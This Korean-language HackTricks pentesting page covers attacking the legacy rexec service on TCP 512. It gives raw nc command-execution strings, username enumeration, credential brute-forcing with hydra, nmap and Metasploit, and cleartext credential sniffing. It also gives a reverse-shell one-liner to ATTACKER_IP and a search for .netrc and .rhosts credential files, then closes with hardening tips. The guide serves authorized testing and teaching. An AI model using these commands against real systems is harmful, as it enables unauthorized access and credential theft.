512 - Pentesting Rexec
Tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
기본 정보
Rexec (remote exec)는 원래 Berkeley의 r-services 모음 중 하나로 (rlogin, rsh, …) 함께 제공됩니다. 이는 원격 명령 실행(remote command-execution) 기능을 제공하며 clear-text 사용자명과 비밀번호로만 인증됩니다. 이 프로토콜은 1980년대 초에 정의되었으며(RFC 1060 참조), 오늘날에는 설계상 안전하지 않음으로 간주됩니다. 그럼에도 일부 레거시 UNIX 및 네트워크 연결 장비에서는 기본적으로 활성화되어 있으며 내부 pentests 중 가끔 발견됩니다.
기본 포트: TCP 512 (exec)
PORT STATE SERVICE
512/tcp open exec
🔥 모든 트래픽 — 자격 증명을 포함하여 — 은 암호화되지 않은 상태로 전송됩니다. 네트워크를 스니핑할 수 있는 누구든 username, password, command를 복원할 수 있습니다.
프로토콜 개요
- 클라이언트가 TCP 512에 연결합니다.
- 클라이언트는 세 개의 NUL-terminated 문자열을 보냅니다:
- stdout/stderr를 받을 포트 번호(ASCII로) (보통
0), - 사용자 계정(username),
- 비밀번호(password).
- 실행할 command를 포함한 마지막 NUL-terminated 문자열이 전송됩니다.
- 서버는 단일 8비트 상태 바이트(0 = success,
1= failure)를 응답하고 그 뒤에 command 출력이 따라옵니다.
첫 번째 필드가 non-zero이면, 서버는 클라이언트로 second TCP connection back to the client를 열어 stderr에 사용합니다. 이것은 서비스 주변의 manual testing 및 fingerprinting filtering / firewall issues에 모두 유용합니다.
즉 echo -e와 nc만으로 이 통신을 재현할 수 있습니다:
(echo -ne "0\0user\0password\0id\0"; cat) | nc <target> 512
자격 증명이 유효하면 동일한 연결을 통해 id 출력이 바로 반환됩니다.
stderr를 별도의 리스너에서 받고 싶다면, 서버에게 당신에게 다시 연결하도록 요청하세요:
nc -lvnp 4444
printf '4444\0user\0password\0id; uname -a\0' | nc <target> 512
많은 일반적인 구현들(예: GNU rexecd)은 여전히 16-byte username/password fields을 강제하고, 잘못된 사용자명과 잘못된 비밀번호에 대해 서로 다른 진단 문자열을 반환합니다. 이는 enumeration 중에 중요합니다. 일부 대상은 brute forcing을 시작하기 전에 계정이 존재하는지를 leak하기 때문입니다.
클라이언트로 수동 사용
많은 Linux 배포판은 여전히 레거시 클라이언트를 inetutils-rexec / rsh-client 패키지에 포함하여 제공합니다:
rexec -l user -p password <target> "uname -a"
-p를 생략하면 클라이언트가 password를 인터랙티브하게 묻습니다 (visible on the wire in clear-text!).
password를 shell history / process list에 남기지 않기 위해, GNU rexec는 stdin에서 password를 읽는 것도 지원합니다:
printf '%s\n' 'password' | rexec -l user -p - <target> "id"
이것은 네트워크 상에서 더 안전한 것이 아니다; 공격자 호스트에서의 로컬 노출만 줄일 뿐이다.
열거 & Brute-forcing
Brute-force
Nmap
nmap -sV -p 512 <target>
# Confirm the classic exec service before credential attacks
nmap -p 512 --script rexec-brute --script-args "userdb=users.txt,passdb=rockyou.txt" <target>
rexec-brute NSE는 위에서 설명한 프로토콜을 사용하여 자격 증명을 매우 빠르게 시도합니다.
Hydra / Medusa / Ncrack
hydra -L users.txt -P passwords.txt rexec://<target> -s 512 -t 8
hydra에는 전용 rexec 모듈이 있으며 여전히 가장 빠른 offline bruteforcer입니다. medusa (-M REXEC)와 ncrack (rexec module)도 같은 방식으로 사용할 수 있습니다.
서버 메시지를 통한 사용자 이름 열거
일부 rexecd 구현은 **Login incorrect.**와 **Password incorrect.**처럼 서로 다른 오류를 노출합니다. 이런 동작을 확인하면 먼저 사용자 이름을 검증하고 그 다음에만 비밀번호를 brute force하세요:
printf '0\0root\0wrongpass\0id\0' | nc -w 2 <target> 512 | tail -c +2
printf '0\0definitelynotreal\0wrongpass\0id\0' | nc -w 2 <target> 512 | tail -c +2
메시지가 다르면, 대규모 password spray를 보내기 전에 유효 사용자 목록을 만드세요.
형제 r-서비스 확인
rexec 자체는 password authentication을 사용합니다, rsh / rlogin trusted-host logic과 달리, 하지만 실제로는 종종 동일한 레거시 패키지(openbsd-inetd, inetutils, vendor UNIX bundles)에서 옵니다. TCP 512가 열려 있다면, .rhosts / /etc/hosts.equiv의 남용이 더 쉬운 lateral movement를 제공할 수 있으므로 즉시 TCP 513 및 514도 확인하세요:
nmap -sV -p 512,513,514 <target>
참고:
Metasploit
use auxiliary/scanner/rservices/rexec_login
set RHOSTS <target>
set USER_FILE users.txt
set PASS_FILE passwords.txt
run
모듈은 성공하면 shell을 생성하고 credentials를 database에 저장합니다 .
Sniffing credentials
모든 것이 clear-text이기 때문에, network captures are priceless. 트래픽 복사본만 있으면 대상에 접촉하지 않고도 creds를 추출할 수 있습니다:
tshark -r traffic.pcap -Y 'tcp.port == 512' -T fields -e data.decoded | \
awk -F"\\0" '{print $2":"$3" -> "$4}' # username:password -> command
(In Wireshark에서 Decode As … TCP 512 → REXEC를 활성화하면 필드가 보기 좋게 파싱되어 표시됩니다.)
Post-Exploitation 팁
- 명령은 제공된 사용자의 권한으로 실행됩니다.
/etc/pam.d/rexec이 잘못 구성된 경우(예:pam_rootok) root shells가 가끔 가능할 수 있습니다. - Rexec는 사용자의 쉘을 무시하고
/bin/sh -c <cmd>로 명령을 실행합니다. 따라서 전형적인 쉘 이스케이프 기법(;,$( ), backticks)을 사용해 여러 명령을 연결하거나 reverse shells를 생성할 수 있습니다:
rexec -l user -p pass <target> 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"'
- 비밀번호는 종종
~/.netrc또는 다른 시스템의 레거시 자동화 스크립트에 저장되어 있습니다; 한 호스트를 침해하면 lateral movement를 위해 이를 재사용할 수 있습니다:
find / -xdev \( -name .netrc -o -name netrc -o -iname '*rexec*' -o -path '*/.rhosts' \) 2>/dev/null
하드닝 / 탐지
- rexec을 노출하지 마세요; SSH로 대체하세요. 대부분의 최신 inetd superservers는 기본적으로 해당 서비스를 주석 처리합니다.
- 유지해야 한다면 TCP wrappers(
/etc/hosts.allow)나 방화벽 규칙으로 접근을 제한하고 계정별 강력한 비밀번호를 강제하세요. - :512로의 트래픽 및
rexecd프로세스 실행을 모니터링하세요. 단일 패킷 캡처만으로도 침해를 탐지할 수 있습니다. rexec,rlogin,rsh를 함께 비활성화하세요 – 이들은 대부분 동일한 코드베이스와 취약점을 공유합니다.
참고자료
- GNU Inetutils
rexecd/rexec문서 – https://www.gnu.org/software/inetutils/manual/html_node/rexecd-invocation.html - Nmap NSE
rexec-brute문서 – https://nmap.org/nsedoc/scripts/rexec-brute.html
Tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.


